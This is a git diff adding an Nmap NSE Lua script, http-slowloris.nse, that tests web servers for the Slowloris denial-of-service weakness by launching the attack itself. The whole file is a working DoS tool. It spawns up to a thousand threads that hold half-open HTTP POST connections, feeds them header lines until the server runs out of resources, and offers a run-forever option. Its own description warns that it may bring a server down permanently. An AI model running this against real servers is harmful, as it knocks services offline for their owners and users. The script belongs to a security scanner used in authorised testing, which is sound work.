diff options
Diffstat (limited to 'scripts/http-slowloris.nse')
-rw-r--r-- | scripts/http-slowloris.nse | 361 |
1 files changed, 361 insertions, 0 deletions
diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse new file mode 100644 index 0000000..87584e0 --- /dev/null +++ b/scripts/http-slowloris.nse @@ -0,0 +1,361 @@ +local coroutine = require "coroutine" +local datetime = require "datetime" +local math = require "math" +local nmap = require "nmap" +local os = require "os" +local shortport = require "shortport" +local stdnse = require "stdnse" +local http = require "http" +local comm = require "comm" + +description = [[ +Tests a web server for vulnerability to the Slowloris DoS attack by launching a Slowloris attack. + +Slowloris was described at Defcon 17 by RSnake +(see http://ha.ckers.org/slowloris/). + +This script opens and maintains numerous 'half-HTTP' connections until +the server runs out of resources, leading to a denial of service. When +a successful DoS is detected, the script stops the attack and returns +these pieces of information (which may be useful to tweak further +filtering rules): +* Time taken until DoS +* Number of sockets used +* Number of queries sent +By default the script runs for 30 minutes if DoS is not achieved. + +Please note that the number of concurrent connexions must be defined +with the <code>--max-parallelism</code> option (default is 20, suggested +is 400 or more) Also, be advised that in some cases this attack can +bring the web server down for good, not only while the attack is +running. + +Also, due to OS limitations, the script is unlikely to work +when run from Windows. +]] + +--- +-- @usage +-- nmap --script http-slowloris --max-parallelism 400 <target> +-- +-- @args http-slowloris.runforever Specify that the script should continue the +-- attack forever. Defaults to false. +-- @args http-slowloris.send_interval Time to wait before sending new http header datas +-- in order to maintain the connection. Defaults to 100 seconds. +-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 +-- minutes default). +-- +-- @output +-- PORT STATE SERVICE REASON VERSION +-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu)) +-- | http-slowloris: +-- | Vulnerable: +-- | the DoS attack took +2m22s +-- | with 501 concurrent connections +-- |_ and 441 sent queries +-- +-- @see http-slowloris-check.nse + +author = {"Aleksandar Nikolic", "Ange Gutek"} +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"dos", "intrusive"} + + +portrule = shortport.http + +local SendInterval +local TimeLimit +local end_time + +-- this will save the amount of still connected threads +local ThreadCount = 0 +-- the maximum amount of sockets during the attack. This could be lower than the +-- requested concurrent connections because of the webserver configuration (eg +-- maxClients on Apache) +local Sockets = 1 +-- this will save the amount of new lines sent to the half-http requests until +-- the target runs out of ressources +local Queries = 0 + +local ServerNotice +local DOSed = false +local StopAll = false +local Reason = "slowloris" -- DoSed due to slowloris attack or something else +local Bestopt + + +local function timeout_occured() + if nmap.clock_ms() < end_time or TimeLimit == nil then + return false + else + StopAll = true + return true + end +end + +-- get time (in milliseconds) when the script should finish +local function get_end_time() + if TimeLimit == nil then + return -1 + end + return 1000 * TimeLimit + nmap.clock_ms() +end + +-- set Time interval for threads to sleep +local function set_SendInterval() + SendInterval = math.min(SendInterval, (end_time - nmap.clock_ms())/1000) +end + +local function set_parameters() + SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s') + if stdnse.get_script_args('http-slowloris.runforever') then + TimeLimit = nil + else + TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m') + end +end + +local function do_half_http(host, port, obj) + local condvar = nmap.condvar(obj) + + if timeout_occured() then + condvar("signal") + return + end + + -- Create socket + local slowloris = nmap.new_socket() + slowloris:set_timeout(math.min(200 * 1000, end_time - nmap.clock_ms())) -- Set a long timeout so our socket doesn't timeout while it's waiting. At the same time left for script execution is maximum limit. + + ThreadCount = ThreadCount + 1 + local catch = function() + -- This connection is now dead + ThreadCount = ThreadCount - 1 + stdnse.debug1("[HALF HTTP]: lost connection") + slowloris:close() + slowloris = nil + condvar("signal") + return + end + + local try = nmap.new_try(catch) + try(slowloris:connect(host.ip, port, Bestopt)) + + if timeout_occured() then + ThreadCount = ThreadCount - 1 + condvar("signal") + return + end + + -- Build a half-http header. + local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. + "Host: " .. host.ip .. "\r\n" .. + "User-Agent: " .. http.USER_AGENT .. "\r\n" .. + "Content-Length: 42\r\n" + + try(slowloris:send(half_http)) + + if timeout_occured() then + ThreadCount = ThreadCount - 1 + condvar("signal") + return + end + + ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started." + -- During the attack some connections will die and other will respawn. + -- Here we keep in mind the maximum concurrent connections reached. + + if Sockets <= ThreadCount then Sockets = ThreadCount end + + -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval + while true do + if timeout_occured() then + break + end + --Setting global SendInterval before and then passing it to sleep has been + --done so as to ensure the most updated SendInterval is assigned + --NOTE: Effective for large number of threads + set_SendInterval() + stdnse.sleep(SendInterval) + --Since sleep time could be big so check is made again for timeout + if timeout_occured() then + break + end + try(slowloris:send("X-a: b\r\n")) + Queries = Queries + 1 + ServerNotice = ("(attack against %s): Feeding HTTP stream...\n(attack against %s): %d queries sent using %d connections."):format( + host.ip, host.ip, Queries, ThreadCount) + end + slowloris:close() + ThreadCount = ThreadCount - 1 + condvar("signal") +end + + +-- Monitor the web server +local function do_monitor(host, port) + local general_faults = 0 + local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server + + stdnse.debug1("[MONITOR]: Monitoring " .. host.ip .. " started") + + local request = "GET / HTTP/1.1\r\n" .. + "Host: " .. host.ip .. + "\r\nUser-Agent: " .. http.USER_AGENT .. "\r\n\r\n" + local opts = {} + local sd,_ + + sd, _, Bestopt = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n", opts) -- first determine if we need ssl + if sd then sd:close() end + + while not StopAll do + local monitor = nmap.new_socket() + local status = monitor:connect(host.ip, port, Bestopt) + if not status then + general_faults = general_faults + 1 + if general_faults > 3 then + Reason = "not-slowloris" + DOSed = true + break + end + else + status = monitor:send(request) + if not status then + general_faults = general_faults + 1 + if general_faults > 3 then + Reason = "not-slowloris" + DOSed = true + break + end + end + status, _ = monitor:receive_lines(1) + if not status then + stdnse.debug1("[MONITOR]: Didn't get a reply from " .. host.ip .. "." ) + monitor:close() + request_faults = request_faults +1 + if request_faults > 3 then + if TimeLimit then + stdnse.debug1("[MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.") + DOSed = true + end + monitor:close() + break + end + else + request_faults = 0 + general_faults = 0 + stdnse.debug1("[MONITOR]: ".. host.ip .." still up, answer received.") + stdnse.sleep(10) + monitor:close() + end + if timeout_occured() then + break + end + end + end +end + +local Mutex = nmap.mutex("http-slowloris") + +local function worker_scheduler(host, port) + local Threads = {} + local obj = {} + local condvar = nmap.condvar(obj) + local i + + for i = 1, 1000 do + -- The real amount of sockets is triggered by the + -- '--max-parallelism' option. The remaining threads will replace + -- dead sockets during the attack + local co = stdnse.new_thread(do_half_http, host, port, obj) + Threads[co] = true + end + + while not DOSed and not StopAll do + -- keep creating new threads, in case we want to run the attack indefinitely + repeat + if timeout_occured() then + return + end + + for thread in pairs(Threads) do + if coroutine.status(thread) == "dead" then + Threads[thread] = nil + end + if timeout_occured() then + return + end + end + stdnse.debug1("[SCHEDULER]: starting new thread") + local co = stdnse.new_thread(do_half_http, host, port, obj) + Threads[co] = true + if ( next(Threads) ) then + condvar("wait") + end + until next(Threads) == nil; + end +end + +action = function(host, port) + + Mutex("lock") -- we want only one slowloris instance running at a single + -- time even if multiple hosts are specified + -- in order to have as many sockets as we can available to + -- this script + + set_parameters() + + local output = {} + local start, stop, dos_time + + start = os.date("!*t") + -- The first thread is for monitoring and is launched before the attack threads + stdnse.new_thread(do_monitor, host, port) + stdnse.sleep(2) -- let the monitor make the first request + + stdnse.debug1("[MAIN THREAD]: starting scheduler") + stdnse.new_thread(worker_scheduler, host, port) + end_time = get_end_time() + local last_message + if TimeLimit == nil then + stdnse.debug1("[MAIN THREAD]: running forever!") + end + + -- return a live notice from time to time + while not timeout_occured() and not StopAll do + if ServerNotice ~= last_message then + -- don't flood the output by repeating the same info + stdnse.debug1("[MAIN THREAD]: " .. ServerNotice) + last_message = ServerNotice + end + if DOSed and TimeLimit ~= nil then + break + end + stdnse.sleep(10) + end + + stop = os.date("!*t") + dos_time = datetime.format_difftime(stop, start) + if DOSed then + if Reason == "slowloris" then + stdnse.debug2("Slowloris Attack stopped, building output") + output = "Vulnerable:\n" .. + "the DoS attack took ".. + dos_time .. "\n" .. + "with ".. Sockets .. " concurrent connections\n" .. + "and " .. Queries .." sent queries" + else + stdnse.debug2("Slowloris Attack stopped. Monitor couldn't communicate with the server.") + output = "Probably vulnerable:\n" .. + "the DoS attack took " .. dos_time .. "\n" .. + "with " .. Sockets .. " concurrent connections\n" .. + "and " .. Queries .. " sent queries\n" .. + "Monitoring thread couldn't communicate with the server. " .. + "This is probably due to max clients exhaustion or something similar but not due to slowloris attack." + end + Mutex("done") -- release the mutex + return stdnse.format_output(true, output) + end + Mutex("done") -- release the mutex + return false +end |